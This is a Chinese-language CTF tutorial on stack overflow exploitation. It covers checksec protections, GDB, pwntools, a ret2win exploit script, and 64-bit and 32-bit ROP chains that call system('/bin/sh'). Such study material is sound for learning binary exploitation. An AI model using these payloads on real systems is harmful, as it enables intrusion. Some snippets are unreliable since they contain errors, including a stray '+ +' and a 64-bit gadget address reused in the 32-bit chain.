栈溢出

栈溢出(Stack Overflow)是指当一个程序在栈中申请的内存超过了栈的容量限制,导致数据或函数调用信息写入到了栈的非法区域,从而破坏了程序的正常执行。

checksec识别二进制文件信息

  • 选项:

image-20230711214919499

  • 分析一个二进制文件

    image-20230711221710831

    • Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。部分RELRO 易受到攻击,例如攻击者可以atoi.got为system.plt,进而输入/bin/sh\x00获得shell。完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

    • Stack-canary栈保护是一种用于防止缓冲区溢出攻击的安全机制。它通过在程序的栈帧中插入一个特殊的值(称为canary),并在函数返回前检查这个值是否被破坏来工作。

    • NX(No execute)是一种内存保护机制,用于防止恶意代码在可执行内存区域中运行。它通过将内存页面标记为不可执行来工作,以阻止程序在这些内存区域执行任何指令。栈不可执行

    • PIE(Position Independent Executable)是一种内存布局安全性增强机制,用于减轻针对可执行文件的攻击。它通过在编译时生成无关代码位置的可执行文件来工作。(开启后,在IDA中将查看不到代码的地址)

    • RPATH(Run-time PATH)和RUNPATH(Run-time search PATH)是用于指定程序运行时动态链接库搜索路径的机制。

    • FORTIFY旨在检测和预防常见的编程错误,如缓冲区溢出、格式化字符串漏洞和整数溢出等。它通过将某些函数(如strcpy、sprintf和memcpy等)替换为带有安全检查的版本来工作。这些安全检查会在运行时验证参数是否有效,以防止潜在的缓冲区溢出和其他漏洞。

GDB调试可执行文件

命令:

gdb filename

命令

缩写

功能

break

b

设置断点,可以使用行数,也可以使用函数名

run

r

开始运行程序,程序运行到断点会停止,否则一直运行下去

next

n

执行当前语句,如果该语句为函数,不会进入到函数内部

step

s

执行当前语句,如果为函数,会进入到函数内部执行。

print

p

显示变量的值,例如:p 变量名

continue

c

程序继续运行,知道下一个断点

set var name=value

设置变量的值

quit

q

推出gdb环境

backtrace<n>

bt<n>

打印栈顶上n层的栈信息

frame<n>

f<n>

切换到从栈顶往上n层的栈

up<n>

从当前栈上移n层

down<n>

从当前栈下移n层

info

i

打印信息。

info

  • info f:打印栈的相关信息

  • info args:打印当前函数的参数名,及其值

  • info locals:打印当前函数所用的局部变量及其值

  • info catch:打印出当前函数中的异常处理信息

  • info register:打印所有寄存器信息(不包括浮点寄存器和向量寄存器)

    • info all-register:打印所有寄存器信息

    • info register 寄存器名:打印指定寄存器信息

disassemble

查看函数的汇编代码

语法:

  • 查看主函数汇编代码:

disassemble main

基于python的pwn库

官方文档:https://docs.pwntools.com/en/latest/intro.html

一个简单的脚本

from pwn import *
def attack(url,port):
    address =   #后门函数的十六进制地址
    c = remote(url,port)
    c.sendlineafter('','')#输入
    payload = 
    c.sendline(payload)#输入
    c.interactive()

注意:payload应为字节流。定义方式为b'a'*(十六进制数)+p64(后门函数十六进制地址)

  • p64():将整形打包成64位字节流

  • b'a'*():创建字节数组对象,每一个元素都是字节而不是字符

名称

功能

remote()

连接服务器

sendlineafter()

输入,该函数可以定位输入。

sendline()

输入

interactive()

与服务器进行交互

recv()

接受到结束

recvuntil(end,drop=True)

接收到end结束,True不包括end

recvall()

接收数据并返回

一道简单的例题

使用IDA

  • 首先应该先checksec然后file一下。

  • 反汇编后发现char buf[]数组和read()危险函数,存在栈溢出。

image-20230712222334622

  • 进入数组查看

image-20230712222945614

上图中的r就是存的返回地址,有的文件在r上面还会有s,s存的是父函数的EBP。我们需要覆盖掉r的内容,因此需要0x10+0x8个字节就能覆盖到r

  • 寻找后门函数

image-20230712222558569

  • 找到其地址

image-20230712222816872

因此这道题的exp:

from pwn import *
​
address = 0x4006E6
c = remote(url,port)
payload = b'a'*(0x18)+p64(address)
c.sendlineafter('[+]Please input the length of your name:','100')
c.sendline(payload)
c.interactive()

产生交互后直接cat flag即可

使用GDB调试

  • 首先应该先checksec然后file一下。

  • 反汇编后发现char buf[]数组和read()危险函数,存在栈溢出。

  • 进入GDB,先查看一下汇编代码

image-20230713115301882

  • 找到read函数的地址0x4007c0,然后设置断点b *0x4007c0

image-20230713115746388

  • r运行程序。查看栈窗口

image-20230713115202795

找到要覆盖的地址后,还需要找到例题中buf的起始地址,因为buf并没有让输入信息,所以可以从寄存器窗口找找,当然,这里的rsp指向的其实也是buf的起始地址(其他情况不一定)。

  • 0x7fffffffe1b8 - 0x7fffffffe1a0=24即需要写24位就能覆盖到返回地址。

  • 然后就是写脚本

ROP

ROP(Return-Oriented Programming)是一种利用栈溢出漏洞的攻击技术。在栈溢出漏洞中,当一个函数在执行过程中,将数据写入到栈上的缓冲区时,如果没有正确的边界检查,可能会导致溢出。而通过ROP技术,攻击者可以利用这种溢出来控制程序的执行流程

一个函数通常以ret命令结尾,即弹出EIP跳转到返回地址。ROP基于该代码片段,使得代码执行流程控制在用户手中。

64位

image-20230719115453476

在这个题中,可以看到存在栈溢出漏洞。原因是buf数组大小只有4,但是read函数却能读0x100。然而从函数列表中没找到后门函数。

  • 但是发现存在函数

image-20230719122822223

该函数调用了system(),看到这里,我们肯定也希望调用system()但是参数是ls,我们需要的参数是/bin/sh

  • 观察main()函数汇编代码

image-20230719123941439

可以看到主函数在调用read函数之前,倒序将参数存入到寄存器中。我们只需要把寄存器中的内容替换成我们需要的数据即可。

  • 首先清空寄存器,使用ROPgadget工具寻找汇编指令

# 64位第一个参数存在rdi寄存器中
ROPgadget --binary pwn --only 'pop|ret' | grep "rdi"

image-20230719125709107

也可以使用ropper

ropper -f pwn
  • 在IDA中查找发现

image-20230719125001961

  • 最后还需要知道栈溢出到返回地址有多少位。这里用IDAGDB都是可以的

image-20230719130017212

0x7fffffffe1d8-0x7fffffffe1b0=40那么payload就是

# 先清空寄存器
pop_rdi = 0x40126b
# 存入我们需要的数据
bin_sh = 0x402004
# 调用system()函数
sys_addr = 0x401050
​
payload = b'a'*40 + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)

32位

32位和64位的传参方式差异很大,使用栈来传递参数。

我们先编译一个c程序:gcc -m32 -o ouput_file input_file

#include<stdio.h>
​
int add(int a,int b){
    return a + b;
}
​
void main(){
    int a = 1;
    int b = 2;
    int c = add(a,b);
    printf("sum:%d",c);
}

查看一下汇编代码:

  • main()函数:

Dump of assembler code for function main:
   0x000011a4 <+0>:		lea    ecx,[esp+0x4]
   0x000011a8 <+4>:		and    esp,0xfffffff0
   0x000011ab <+7>:		push   DWORD PTR [ecx-0x4]
   0x000011ae <+10>:	push   ebp
   0x000011af <+11>:	mov    ebp,esp
   0x000011b1 <+13>:	push   ebx
   0x000011b2 <+14>:	push   ecx
   0x000011b3 <+15>:	sub    esp,0x10
   0x000011b6 <+18>:	call   0x1090 <__x86.get_pc_thunk.bx>
   0x000011bb <+23>:	add    ebx,0x2e39
   0x000011c1 <+29>:	mov    DWORD PTR [ebp-0xc],0x1
   0x000011c8 <+36>:	mov    DWORD PTR [ebp-0x10],0x2
   0x000011cf <+43>:	push   DWORD PTR [ebp-0x10]
   0x000011d2 <+46>:	push   DWORD PTR [ebp-0xc] 
   0x000011d5 <+49>:	call   0x118d <add>
   0x000011da <+54>:	add    esp,0x8
   0x000011dd <+57>:	mov    DWORD PTR [ebp-0x14],eax
   0x000011e0 <+60>:	sub    esp,0x8
   0x000011e3 <+63>:	push   DWORD PTR [ebp-0x14]
   0x000011e6 <+66>:	lea    eax,[ebx-0x1fec]
   0x000011ec <+72>:	push   eax
   0x000011ed <+73>:	call   0x1040 <printf@plt>
   0x000011f2 <+78>:	add    esp,0x10
   0x000011f5 <+81>:	nop
   0x000011f6 <+82>:	lea    esp,[ebp-0x8]
   0x000011f9 <+85>:	pop    ecx
   0x000011fa <+86>:	pop    ebx
   0x000011fb <+87>:	pop    ebp
   0x000011fc <+88>:	lea    esp,[ecx-0x4]
   0x000011ff <+91>:	ret
End of assembler dump.
  • add()函数:

Dump of assembler code for function add:
   0x0000118d <+0>:		push   ebp
   0x0000118e <+1>:		mov    ebp,esp
   0x00001190 <+3>:		call   0x1200 <__x86.get_pc_thunk.ax>
   0x00001195 <+8>:		add    eax,0x2e5f
   0x0000119a <+13>:	mov    edx,DWORD PTR [ebp+0x8]
   0x0000119d <+16>:	mov    eax,DWORD PTR [ebp+0xc]
   0x000011a0 <+19>:	add    eax,edx
   0x000011a2 <+21>:	pop    ebp
   0x000011a3 <+22>:	ret
End of assembler dump.

先看main()函数,在调用add()函数之前先把参数压入栈中。

   0x000011cf <+43>:	push   DWORD PTR [ebp-0x10]
   0x000011d2 <+46>:	push   DWORD PTR [ebp-0xc] 
   0x000011d5 <+49>:	call   0x118d <add>

此时的栈结构应该是这样的:

image-20230817124252186

这里解释一下上图中的return address:执行到 call 指令时,程序会跳转到目标函数的入口地址,并将 call 指令的下一条指令的地址(返回地址)压入栈中。

现在我们可以假设以下情景:通过ROP让程序执行 gets函数,并接收一个字符串赋值到 bss 段,bss段存放的是全局变量的数据段,可利用此数据段作为 system函数的传入参数。

那么payload就为:

gets_add =   #gets函数的地址
bss_add =    #bss段的地址
sys_add =    #system()函数的地址
payload = p32(gets_add) + p32(sys_add) + p32(bss_add) + p32(bss_add)

payload执行流程:

  1. p32(gets_add)执行gets()函数,而gets_add指向一个gets函数的plt表。此时plt表结构如下:

名称

内容

sys_add

gets函数的返回地址即system()函数的地址

bss_add

gets函数的参数1

bss_add

gets函数的参数2

  1. 在执行完gets()函数之后进入到system()函数中,system会进入它的plt表中执行。此时system()函数的plt表结构如下:

名称

内容

bss_add

system函数的返回地址

bss_add

system函数的参数

我们也可以使用pop命令对栈进行操作

ropper -f 文件名

image-20230720124658035

因为gets传入一个参数,那么我们选取pop一个数据的命令(0x40126b)即可。

此时的payload就是:

gets_add =   #gets函数的地址
bss_add =    #bss段的地址
sys_add =    #system()函数的地址
payload = p32(gets_add) + p32(0x40126b) + p32(bss_add) + p32(sys_add) + + p32(0) + p32(bss_add)

首先会进行read,然后清空read的参数之后的plt表为

名称

内容

sys_add

read的返回地址

p32(0)

read第一个参数

p32(bss_add)

read第二个参数

随后进入system()函数,此时system()函数的plt表的内容为:

名称

内容

p32(0)

system()函数的返回地址

p32(bss_add)

system()的参数

总结

32位payload的形式:

目标函数地址+pop命令地址+参数+目标函数地址+返回地址+参数+......

64位payload的形式:

pop命令地址+参数+目标函数+pop命令地址+参数+目标函数+......